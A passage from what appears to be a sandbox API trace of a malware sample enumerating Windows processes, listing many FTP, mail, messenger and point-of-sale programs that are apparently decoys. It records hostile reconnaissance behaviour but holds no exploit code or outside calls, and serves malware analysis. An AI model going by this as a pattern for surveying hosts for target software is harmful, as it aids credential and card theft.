cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.220] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0126.222] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0126.223] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0126.225] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0126.226] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.228] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0126.230] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0126.232] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0126.234] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0126.255] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0126.258] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0126.260] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0126.261] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0126.263] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0126.265] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0126.267] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0126.269] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0126.270] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0126.272] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0126.273] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0126.275] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0126.277] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0126.278] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0126.280] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0126.282] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0126.283] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0126.285] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0126.287] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0126.289] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0126.302] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0126.304] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0126.306] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0126.308] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0126.311] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0126.313] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0126.353] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0126.356] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0126.359] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0126.361] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0126.363] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0126.365] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0126.367] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0126.370] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0126.372] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0126.374] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0126.376] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0126.378] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0126.380] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0126.383] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0126.385] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0126.387] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0126.389] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0126.391] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0126.393] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0126.395] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0126.397] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0126.399] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0126.402] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0126.405] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0126.407] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0126.445] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0126.448] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0126.450] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0126.452] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0126.454] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0126.456] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0126.458] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0126.460] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0126.462] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0126.465] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0126.467] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0126.468] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0126.470] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0126.472] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0126.474] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0126.476] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0126.478] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0126.480] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0126.481] CloseHandle (hObject=0x1e30) returned 1 [0126.481] Sleep (dwMilliseconds=0x64) [0126.627] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e38 [0126.691] Process32First (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.694] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0126.696] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0126.699] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.701] Process32Next (in: hSnapshot=0x1e38, 